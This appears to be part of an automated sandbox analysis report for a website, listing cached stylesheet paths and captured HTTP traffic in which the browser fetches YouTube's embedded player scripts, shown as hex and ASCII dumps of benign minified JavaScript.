C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ATCVA5TX\views.module[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\align.module[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\container-inline.module[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\hidden.module[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\maintenance-page[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\position-container.module[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\style[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\system-status-report-counters[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\system.admin[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\ajax-progress.module[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\bootstrap.min[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\extlink[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\js.module[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\progress.module[1].css

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\FGDLZ049\resize.module[1].css

Windows Analysis Report
http://www.teubes.com

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:30 UTC	884	OUT	GET /s/player/6b3caec8/player_ias.vflset/en_US/embed.js HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://www.youtube.com/embed/1eOe_vR2IMQ?feature=oembed Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: YSC=3frnwIjvAKc; VISITOR_INFO1_LIVE=sernUOp3GXk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgXg%3D%3D; __Secure-ROLLOUT_TOKEN=CLuLltHxwLqsOhCGpuz_iJGMAxiGpuz_iJGMAw%3D%3D
2025-03-17 12:02:30 UTC	686	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 33644 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 17 Mar 2025 10:19:55 GMT Expires: Tue, 17 Mar 2026 10:19:55 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 12 Mar 2025 04:20:42 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 6155 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-17 12:02:30 UTC	704	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 67 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 71 75 57 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 2e 6d 75 74 65 64 41 75 74 6f 70 6c 61 79 3d 21 31 3b 72 2e 65 6e 64 53 65 63 6f 6e 64 73 3d 4e 61 4e 3b 72 2e 6c 69 6d 69 74 65 64 50 6c 61 79 62 61 63 6b 44 75 72 61 74 69 6f 6e 49 6e 53 65 63 6f 6e 64 73 3d 4e 61 4e 3b 67 2e 77 6d 28 72 29 7d 2c 6b 62 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 47 3a 22 73 76 67 22 2c 0a 4a 3a 7b 68 65 69 67 68 74 3a 22 31 30 30 25 22 2c 76 65 72 73 69 6f 6e 3a 22 31 2e 31 22 2c 76 69 65 77 42 6f 78 3a 22 30 20 30 20 31 31 30 20 32 36 22 2c 77 69 64 74 68 3a 22 31 30 30 25 22 7d 2c 42 3a 5b 7b 47 3a 22 70 61 74 68 22 Data Ascii: (function(g){var window=this;'use strict';var quW=function(r){r.mutedAutoplay=!1;r.endSeconds=NaN;r.limitedPlaybackDurationInSeconds=NaN;g.wm(r)},kbr=function(){return{G:"svg",J:{height:"100%",version:"1.1",viewBox:"0 0 110 26",width:"100%"},B:[{G:"path"
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 39 2c 30 20 63 20 2e 33 2c 2e 35 20 2e 37 31 2c 2e 38 38 20 31 2e 32 31 2c 31 2e 31 38 20 2e 35 2c 2e 33 20 31 2e 30 38 2c 2e 34 30 20 31 2e 36 38 2c 2e 34 30 20 31 2e 31 2c 30 20 31 2e 39 39 2c 2d 30 2e 34 39 20 32 2e 34 39 2c 2d 31 2e 35 39 20 2e 35 2c 2d 31 2e 31 20 2e 38 31 2c 2d 32 2e 37 30 20 2e 38 31 2c 2d 34 2e 39 30 20 6c 20 30 2c 2d 32 2e 34 30 20 63 20 30 2c 2d 31 2e 36 20 2d 30 2e 31 31 2c 2d 32 2e 39 30 20 2d 30 2e 33 31 2c 2d 33 2e 39 30 20 2d 30 2e 32 2c 2d 30 2e 38 39 20 2d 30 2e 35 2c 2d 31 2e 35 39 20 2d 31 2c 2d 32 2e 30 39 20 2d 30 2e 35 2c 2d 30 2e 34 20 2d 31 2e 31 30 2c 2d 30 2e 35 39 20 2d 31 2e 39 30 2c 2d 30 2e 35 39 20 2d 30 2e 35 39 2c 30 20 2d 31 2e 31 38 2c 2e 31 39 20 2d 31 2e 36 38 2c 2e 34 39 20 2d 30 2e 34 39 2c 2e 33 20 Data Ascii: 9,0 c .3,.5 .71,.88 1.21,1.18 .5,.3 1.08,.40 1.68,.40 1.1,0 1.99,-0.49 2.49,-1.59 .5,-1.1 .81,-2.70 .81,-4.90 l 0,-2.40 c 0,-1.6 -0.11,-2.90 -0.31,-3.90 -0.2,-0.89 -0.5,-1.59 -1,-2.09 -0.5,-0.4 -1.10,-0.59 -1.90,-0.59 -0.59,0 -1.18,.19 -1.68,.49 -0.49,.3
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 20 30 2c 2d 31 2e 36 20 2d 30 2e 32 2c 2d 32 2e 38 37 20 2d 30 2e 34 39 2c 2d 33 2e 38 37 20 2d 30 2e 33 2c 2d 30 2e 38 39 20 2d 30 2e 38 2c 2d 31 2e 36 32 20 2d 31 2e 34 39 2c 2d 32 2e 31 32 20 2d 30 2e 37 2c 2d 30 2e 35 20 2d 31 2e 35 38 2c 2d 30 2e 36 38 20 2d 32 2e 36 38 2c 2d 30 2e 36 38 20 7a 20 6d 20 31 32 2e 31 38 2c 2e 30 39 20 30 2c 31 31 2e 39 30 20 63 20 2d 30 2e 31 2c 2e 33 20 2d 30 2e 32 39 2c 2e 34 38 20 2d 30 2e 35 39 2c 2e 36 38 20 2d 30 2e 32 2c 2e 32 20 2d 30 2e 35 31 2c 2e 33 31 20 2d 30 2e 38 31 2c 2e 33 31 20 2d 30 2e 33 2c 30 20 2d 30 2e 35 38 2c 2d 30 2e 31 30 20 2d 30 2e 36 38 2c 2d 30 2e 34 30 20 2d 30 2e 31 2c 2d 30 2e 33 20 2d 30 2e 31 38 2c 2d 30 2e 37 30 20 2d 30 2e 31 38 2c 2d 31 2e 34 30 20 6c 20 30 2c 2d 31 30 2e 39 39 20 Data Ascii: 0,-1.6 -0.2,-2.87 -0.49,-3.87 -0.3,-0.89 -0.8,-1.62 -1.49,-2.12 -0.7,-0.5 -1.58,-0.68 -2.68,-0.68 z m 12.18,.09 0,11.90 c -0.1,.3 -0.29,.48 -0.59,.68 -0.2,.2 -0.51,.31 -0.81,.31 -0.3,0 -0.58,-0.10 -0.68,-0.40 -0.1,-0.3 -0.18,-0.70 -0.18,-1.40 l 0,-10.99
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 20 2d 30 2e 35 39 2c 2d 30 2e 35 39 20 6c 20 30 2c 2d 38 2e 35 20 63 20 2e 31 2c 2d 30 2e 34 20 2e 32 39 2c 2d 30 2e 37 20 2e 35 39 2c 2d 31 20 2e 33 2c 2d 30 2e 33 20 2e 36 30 2c 2d 30 2e 34 30 20 2e 39 30 2c 2d 30 2e 34 30 20 7a 22 7d 7d 5d 7d 7d 2c 0a 67 36 35 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 7b 47 3a 22 73 76 67 22 2c 0a 4a 3a 7b 66 69 6c 6c 3a 22 6e 6f 6e 65 22 2c 68 65 69 67 68 74 3a 22 31 30 30 25 22 2c 76 69 65 77 42 6f 78 3a 22 30 20 30 20 31 34 33 20 35 31 22 2c 77 69 64 74 68 3a 22 31 30 30 25 22 7d 2c 42 3a 5b 7b 47 3a 22 70 61 74 68 22 2c 4a 3a 7b 64 3a 22 4d 35 38 2e 33 37 20 34 31 2e 33 39 48 36 32 2e 37 39 56 32 37 2e 32 33 43 36 32 2e 37 39 20 32 33 2e 30 33 20 36 32 2e 36 39 20 31 38 2e 36 39 20 36 32 2e 34 33 20 31 Data Ascii: -0.59,-0.59 l 0,-8.5 c .1,-0.4 .29,-0.7 .59,-1 .3,-0.3 .60,-0.40 .90,-0.40 z"}}]}},g65=function(){return{G:"svg",J:{fill:"none",height:"100%",viewBox:"0 0 143 51",width:"100%"},B:[{G:"path",J:{d:"M58.37 41.39H62.79V27.23C62.79 23.03 62.69 18.69 62.43 1
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 32 34 2e 31 36 20 38 2e 36 35 20 31 32 32 2e 35 20 38 2e 36 35 43 31 32 30 2e 38 34 20 38 2e 36 35 20 31 31 39 2e 39 34 20 39 2e 32 37 20 31 31 39 2e 39 34 20 31 31 2e 35 39 43 31 31 39 2e 39 34 20 31 33 2e 39 39 20 31 32 30 2e 38 32 20 31 34 2e 35 39 20 31 32 32 2e 35 20 31 34 2e 35 39 5a 4d 31 32 30 2e 32 20 34 31 2e 33 39 48 31 32 35 56 31 37 2e 37 33 48 31 32 30 2e 32 56 34 31 2e 33 39 5a 22 2c 66 69 6c 6c 3a 22 77 68 69 74 65 22 7d 7d 2c 7b 47 3a 22 70 61 74 68 22 2c 4a 3a 7b 64 3a 22 4d 31 33 34 2e 39 35 20 34 31 2e 37 39 43 31 33 37 2e 33 31 20 34 31 2e 37 39 20 31 33 38 2e 36 33 20 34 31 2e 34 39 20 31 33 39 2e 37 31 20 34 30 2e 34 37 43 31 34 31 2e 33 31 20 33 39 2e 30 31 20 31 34 31 2e 39 37 20 33 36 2e 36 33 20 31 34 31 2e 38 35 20 33 33 2e 31 Data Ascii: 24.16 8.65 122.5 8.65C120.84 8.65 119.94 9.27 119.94 11.59C119.94 13.99 120.82 14.59 122.5 14.59ZM120.2 41.39H125V17.73H120.2V41.39Z",fill:"white"}},{G:"path",J:{d:"M134.95 41.79C137.31 41.79 138.63 41.49 139.71 40.47C141.31 39.01 141.97 36.63 141.85 33.1
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 20 31 36 2e 30 37 20 31 36 2e 30 37 43 31 38 2e 34 33 20 31 33 2e 37 30 20 32 31 2e 36 34 20 31 32 2e 33 37 20 32 34 2e 39 39 20 31 32 2e 33 36 5a 4d 32 34 2e 39 39 20 31 30 2e 34 33 43 32 32 2e 31 31 20 31 30 2e 34 33 20 31 39 2e 32 39 20 31 31 2e 32 38 20 31 36 2e 38 39 20 31 32 2e 38 38 43 31 34 2e 35 30 20 31 34 2e 34 38 20 31 32 2e 36 33 20 31 36 2e 37 36 20 31 31 2e 35 33 20 31 39 2e 34 32 43 31 30 2e 34 32 20 32 32 2e 30 39 20 31 30 2e 31 33 20 32 35 2e 30 32 20 31 30 2e 37 30 20 32 37 2e 38 35 43 31 31 2e 32 36 20 33 30 2e 36 37 20 31 32 2e 36 35 20 33 33 2e 32 37 20 31 34 2e 36 39 20 33 35 2e 33 31 43 31 36 2e 37 33 20 33 37 2e 33 35 20 31 39 2e 33 32 20 33 38 2e 37 33 20 32 32 2e 31 35 20 33 39 2e 33 30 43 32 34 2e 39 38 20 33 39 2e 38 36 20 32 Data Ascii: 16.07 16.07C18.43 13.70 21.64 12.37 24.99 12.36ZM24.99 10.43C22.11 10.43 19.29 11.28 16.89 12.88C14.50 14.48 12.63 16.76 11.53 19.42C10.42 22.09 10.13 25.02 10.70 27.85C11.26 30.67 12.65 33.27 14.69 35.31C16.73 37.35 19.32 38.73 22.15 39.30C24.98 39.86 2
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 6e 74 29 3b 74 68 69 73 2e 73 75 67 67 65 73 74 69 6f 6e 73 3d 6e 65 77 20 67 2e 5a 28 7b 47 3a 22 64 69 76 22 2c 55 3a 22 79 74 70 2d 73 75 67 67 65 73 74 69 6f 6e 73 22 7d 29 3b 67 2e 76 28 74 68 69 73 2c 74 68 69 73 2e 73 75 67 67 65 73 74 69 6f 6e 73 29 3b 74 68 69 73 2e 73 75 67 67 65 73 74 69 6f 6e 73 2e 43 50 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 3b 67 2e 76 28 74 68 69 73 2c 74 68 69 73 2e 70 72 65 76 69 6f 75 73 29 3b 74 68 69 73 2e 70 72 65 76 69 6f 75 73 2e 43 50 28 74 68 69 73 2e 65 6c 65 6d 65 6e 74 29 3b 0a 74 68 69 73 2e 70 72 65 76 69 6f 75 73 2e 6c 69 73 74 65 6e 28 22 63 6c 69 63 6b 22 2c 74 68 69 73 2e 47 45 2c 74 68 69 73 29 3b 67 2e 76 28 74 68 69 73 2c 74 68 69 73 2e 59 29 3b 66 6f 72 28 76 61 72 20 59 3d 7b 55 34 3a 30 7d 3b 59 Data Ascii: nt);this.suggestions=new g.Z({G:"div",U:"ytp-suggestions"});g.v(this,this.suggestions);this.suggestions.CP(this.element);g.v(this,this.previous);this.previous.CP(this.element);this.previous.listen("click",this.GE,this);g.v(this,this.Y);for(var Y={U4:0};Y
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 70 69 2e 5a 28 29 2e 56 28 22 77 65 62 5f 70 6c 61 79 65 72 5f 6c 6f 67 5f 63 6c 69 63 6b 5f 62 65 66 6f 72 65 5f 67 65 6e 65 72 61 74 69 6e 67 5f 76 65 5f 63 6f 6e 76 65 72 73 69 6f 6e 5f 70 61 72 61 6d 73 22 29 29 66 6f 72 28 76 61 72 20 59 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 2d 72 2e 73 63 72 6f 6c 6c 50 6f 73 69 74 69 6f 6e 2f 28 72 2e 4c 2b 72 2e 54 29 29 2c 56 3d 4d 61 74 68 2e 6d 69 6e 28 59 2b 72 2e 63 6f 6c 75 6d 6e 73 2c 72 2e 73 75 67 67 65 73 74 69 6f 6e 44 61 74 61 2e 6c 65 6e 67 74 68 29 2d 31 3b 59 3c 3d 56 3b 59 2b 2b 29 72 2e 61 70 69 2e 6c 6f 67 56 69 73 69 62 69 6c 69 74 79 28 72 2e 57 5b 59 5d 2e 65 6c 65 6d 65 6e 74 2c 44 29 7d 2c 4f 70 78 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 72 2e 6e 65 78 74 2e 65 6c 65 6d 65 6e 74 2e 73 74 79 6c Data Ascii: pi.Z().V("web_player_log_click_before_generating_ve_conversion_params"))for(var Y=Math.floor(-r.scrollPosition/(r.L+r.T)),V=Math.min(Y+r.columns,r.suggestionData.length)-1;Y<=V;Y++)r.api.logVisibility(r.W[Y].element,D)},Opx=function(r){r.next.element.styl
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 44 61 74 61 29 26 26 59 2e 69 74 63 74 29 26 26 72 2e 61 70 69 2e 73 65 74 54 72 61 63 6b 69 6e 67 50 61 72 61 6d 73 28 56 2e 65 6c 65 6d 65 6e 74 2c 59 29 29 7d 66 6f 72 28 3b 44 3c 72 2e 57 2e 6c 65 6e 67 74 68 3b 44 2b 2b 29 72 2e 57 5b 44 5d 2e 65 6c 65 6d 65 6e 74 2e 73 74 79 6c 65 2e 64 69 73 70 6c 61 79 3d 22 6e 6f 6e 65 22 3b 4f 70 78 28 72 29 7d 2c 48 71 3d 66 75 6e 63 74 69 6f 6e 28 72 29 7b 67 2e 76 43 2e 63 61 6c 6c 28 74 68 69 73 2c 72 29 3b 0a 76 61 72 20 44 3d 74 68 69 73 3b 74 68 69 73 2e 57 3d 6e 75 6c 6c 3b 76 61 72 20 59 3d 72 2e 5a 28 29 2c 56 3d 7b 74 61 72 67 65 74 3a 59 2e 59 7d 2c 4c 3d 5b 22 79 74 70 2d 73 6d 61 6c 6c 2d 72 65 64 69 72 65 63 74 22 5d 3b 59 2e 4c 3f 4c 2e 70 75 73 68 28 22 6e 6f 2d 6c 69 6e 6b 22 29 3a 28 59 3d 67 Data Ascii: Data)&&Y.itct)&&r.api.setTrackingParams(V.element,Y))}for(;D<r.W.length;D++)r.W[D].element.style.display="none";Opx(r)},Hq=function(r){g.vC.call(this,r);var D=this;this.W=null;var Y=r.Z(),V={target:Y.Y},L=["ytp-small-redirect"];Y.L?L.push("no-link"):(Y=g
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 69 7a 65 28 44 2c 44 2e 68 65 69 67 68 74 2d 56 29 3b 59 2e 73 74 79 6c 65 2e 70 61 64 64 69 6e 67 54 6f 70 3d 28 44 2e 68 65 69 67 68 74 2d 28 72 2e 57 3f 72 2e 57 2e 65 6c 65 6d 65 6e 74 2e 63 6c 69 65 6e 74 48 65 69 67 68 74 3a 30 29 29 2f 32 2d 56 2f 32 2b 22 70 78 22 7d 2c 4b 4c 53 3d 66 75 6e 63 74 69 6f 6e 28 72 2c 44 29 7b 76 61 72 20 59 3d 72 2e 61 70 69 2e 5a 28 29 2c 56 3b 0a 44 2e 72 65 61 73 6f 6e 26 26 28 69 70 54 28 44 2e 72 65 61 73 6f 6e 29 3f 56 3d 67 2e 4f 36 28 44 2e 72 65 61 73 6f 6e 29 3a 56 3d 67 2e 62 46 28 67 2e 41 6d 28 44 2e 72 65 61 73 6f 6e 29 29 2c 72 2e 4a 43 28 56 2c 22 63 6f 6e 74 65 6e 74 22 29 29 3b 76 61 72 20 4c 3b 44 2e 73 75 62 72 65 61 73 6f 6e 26 26 28 69 70 54 28 44 2e 73 75 62 72 65 61 73 6f 6e 29 3f 4c 3d 67 2e Data Ascii: ize(D,D.height-V);Y.style.paddingTop=(D.height-(r.W?r.W.element.clientHeight:0))/2-V/2+"px"},KLS=function(r,D){var Y=r.api.Z(),V;D.reason&&(ipT(D.reason)?V=g.O6(D.reason):V=g.bF(g.Am(D.reason)),r.JC(V,"content"));var L;D.subreason&&(ipT(D.subreason)?L=g.

Timestamp	Bytes transferred	Direction	Data
2025-03-17 12:02:30 UTC	895	OUT	GET /s/player/6b3caec8/www-embed-player.vflset/www-embed-player.js HTTP/1.1 Host: www.youtube.com Connection: keep-alive sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.0.0 Safari/537.36 sec-ch-ua: "Chromium";v="134", "Not:A-Brand";v="24", "Google Chrome";v="134" sec-ch-ua-mobile: ?0 Accept: / X-Client-Data: CI62yQEIpLbJAQipncoBCNrwygEIlaHLAQiKo8sBCIWgzQEIrd7OAQ== Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Sec-Fetch-Storage-Access: active Referer: https://www.youtube.com/embed/1eOe_vR2IMQ?feature=oembed Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9 Cookie: YSC=3frnwIjvAKc; VISITOR_INFO1_LIVE=sernUOp3GXk; VISITOR_PRIVACY_METADATA=CgJVUxIEGgAgXg%3D%3D; __Secure-ROLLOUT_TOKEN=CLuLltHxwLqsOhCGpuz_iJGMAxiGpuz_iJGMAw%3D%3D
2025-03-17 12:02:30 UTC	688	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy-Report-Only: same-origin; report-to="youtube" Report-To: {"group":"youtube","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/youtube"}]} Content-Length: 345460 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 17 Mar 2025 07:40:37 GMT Expires: Tue, 17 Mar 2026 07:40:37 GMT Cache-Control: public, max-age=31536000 Last-Modified: Wed, 12 Mar 2025 04:20:42 GMT Content-Type: text/javascript Vary: Accept-Encoding, Origin Age: 15713 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2025-03-17 12:02:30 UTC	702	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 27 75 73 65 20 73 74 72 69 63 74 27 3b 76 61 72 20 72 3b 66 75 6e 63 74 69 6f 6e 20 61 61 28 61 29 7b 76 61 72 20 62 3d 30 3b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 62 3c 61 2e 6c 65 6e 67 74 68 3f 7b 64 6f 6e 65 3a 21 31 2c 76 61 6c 75 65 3a 61 5b 62 2b 2b 5d 7d 3a 7b 64 6f 6e 65 3a 21 30 7d 7d 7d 0a 76 61 72 20 64 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 69 65 73 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 3f 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 3a 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 69 66 28 61 3d 3d 41 72 72 61 79 2e 70 72 6f 74 6f 74 79 70 65 7c 7c 61 3d 3d 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 Data Ascii: (function(){'use strict';var r;function aa(a){var b=0;return function(){return b<a.length?{done:!1,value:a[b++]}:{done:!0}}}var da=typeof Object.defineProperties=="function"?Object.defineProperty:function(a,b,c){if(a==Array.prototype\|\|a==Object.prototype
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 3d 63 5b 61 5d 3b 62 3d 62 28 64 29 3b 62 21 3d 64 26 26 62 21 3d 6e 75 6c 6c 26 26 64 61 28 63 2c 61 2c 7b 63 6f 6e 66 69 67 75 72 61 62 6c 65 3a 21 30 2c 77 72 69 74 61 62 6c 65 3a 21 30 2c 76 61 6c 75 65 3a 62 7d 29 7d 7d 0a 75 28 22 53 79 6d 62 6f 6c 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 66 75 6e 63 74 69 6f 6e 20 62 28 66 29 7b 69 66 28 74 68 69 73 20 69 6e 73 74 61 6e 63 65 6f 66 20 62 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 53 79 6d 62 6f 6c 20 69 73 20 6e 6f 74 20 61 20 63 6f 6e 73 74 72 75 63 74 6f 72 22 29 3b 72 65 74 75 72 6e 20 6e 65 77 20 63 28 64 2b 28 66 7c 7c 22 22 29 2b 22 5f 22 2b 65 2b 2b 2c 66 29 7d 0a 66 75 6e 63 74 69 6f 6e 20 63 28 66 2c 67 29 7b 74 68 69 73 2e 68 3d 66 3b 64 61 28 74 68 69 73 2c 22 64 Data Ascii: =c[a];b=b(d);b!=d&&b!=null&&da(c,a,{configurable:!0,writable:!0,value:b})}}u("Symbol",function(a){function b(f){if(this instanceof b)throw new TypeError("Symbol is not a constructor");return new c(d+(f\|\|"")+"_"+e++,f)}function c(f,g){this.h=f;da(this,"d
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 65 7c 7c 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 29 3b 72 65 74 75 72 6e 20 46 75 6e 63 74 69 6f 6e 2e 70 72 6f 74 6f 74 79 70 65 2e 61 70 70 6c 79 2e 63 61 6c 6c 28 63 2c 65 2c 64 29 7c 7c 65 7d 7d 28 29 2c 6d 61 3b 0a 69 66 28 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3d 3d 22 66 75 6e 63 74 69 6f 6e 22 29 6d 61 3d 4f 62 6a 65 63 74 2e 73 65 74 50 72 6f 74 6f 74 79 70 65 4f 66 3b 65 6c 73 65 7b 76 61 72 20 6e 61 3b 61 3a 7b 76 61 72 20 6f 61 3d 7b 61 3a 21 30 7d 2c 70 61 3d 7b 7d 3b 74 72 79 7b 70 61 2e 5f 5f 70 72 6f 74 6f 5f 5f 3d 6f 61 3b 6e 61 3d 70 61 2e 61 3b 62 72 65 61 6b 20 61 7d 63 61 74 63 68 28 61 29 7b 7d 6e 61 3d 21 31 7d 6d 61 3d 6e 61 3f 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 61 2e 5f Data Ascii: e\|\|Object.prototype);return Function.prototype.apply.call(c,e,d)\|\|e}}(),ma;if(typeof Object.setPrototypeOf=="function")ma=Object.setPrototypeOf;else{var na;a:{var oa={a:!0},pa={};try{pa.__proto__=oa;na=pa.a;break a}catch(a){}na=!1}ma=na?function(a,b){a._
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 64 20 30 3b 74 68 69 73 2e 68 3d 31 3b 74 68 69 73 2e 6f 3d 74 68 69 73 2e 4d 3d 30 3b 74 68 69 73 2e 50 3d 74 68 69 73 2e 6a 3d 6e 75 6c 6c 7d 0a 66 75 6e 63 74 69 6f 6e 20 77 61 28 61 29 7b 69 66 28 61 2e 44 29 74 68 72 6f 77 20 6e 65 77 20 54 79 70 65 45 72 72 6f 72 28 22 47 65 6e 65 72 61 74 6f 72 20 69 73 20 61 6c 72 65 61 64 79 20 72 75 6e 6e 69 6e 67 22 29 3b 61 2e 44 3d 21 30 7d 0a 76 61 2e 70 72 6f 74 6f 74 79 70 65 2e 47 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 74 68 69 73 2e 69 3d 61 7d 3b 0a 66 75 6e 63 74 69 6f 6e 20 78 61 28 61 2c 62 29 7b 61 2e 6a 3d 7b 65 78 63 65 70 74 69 6f 6e 3a 62 2c 78 64 3a 21 30 7d 3b 61 2e 68 3d 61 2e 4d 7c 7c 61 2e 6f 7d 0a 76 61 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 74 75 72 6e 3d 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: d 0;this.h=1;this.o=this.M=0;this.P=this.j=null}function wa(a){if(a.D)throw new TypeError("Generator is already running");a.D=!0}va.prototype.G=function(a){this.i=a};function xa(a,b){a.j={exception:b,xd:!0};a.h=a.M\|\|a.o}va.prototype.return=function(a)
2025-03-17 12:02:30 UTC	1390	IN	Data Raw: 29 7b 77 61 28 61 2e 68 29 3b 61 2e 68 2e 75 3f 62 3d 45 61 28 61 2c 61 2e 68 2e 75 2e 6e 65 78 74 2c 62 2c 61 2e 68 2e 47 29 3a 28 61 2e 68 2e 47 28 62 29 2c 62 3d 46 61 28 61 29 29 3b 72 65 74 75 72 6e 20 62 7d 3b 0a 74 68 69 73 2e 74 68 72 6f 77 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 77 61 28 61 2e 68 29 3b 61 2e 68 2e 75 3f 62 3d 45 61 28 61 2c 61 2e 68 2e 75 5b 22 74 68 72 6f 77 22 5d 2c 62 2c 61 2e 68 2e 47 29 3a 28 78 61 28 61 2e 68 2c 62 29 2c 62 3d 46 61 28 61 29 29 3b 72 65 74 75 72 6e 20 62 7d 3b 0a 74 68 69 73 2e 72 65 74 75 72 6e 3d 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 65 74 75 72 6e 20 44 61 28 61 2c 62 29 7d 3b 0a 74 68 69 73 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 Data Ascii: ){wa(a.h);a.h.u?b=Ea(a,a.h.u.next,b,a.h.G):(a.h.G(b),b=Fa(a));return b};this.throw=function(b){wa(a.h);a.h.u?b=Ea(a,a.h.u["throw"],b,a.h.G):(xa(a.h,b),b=Fa(a));return b};this.return=function(b){return Da(a,b)};this[Symbol.iterator]=function(){return th
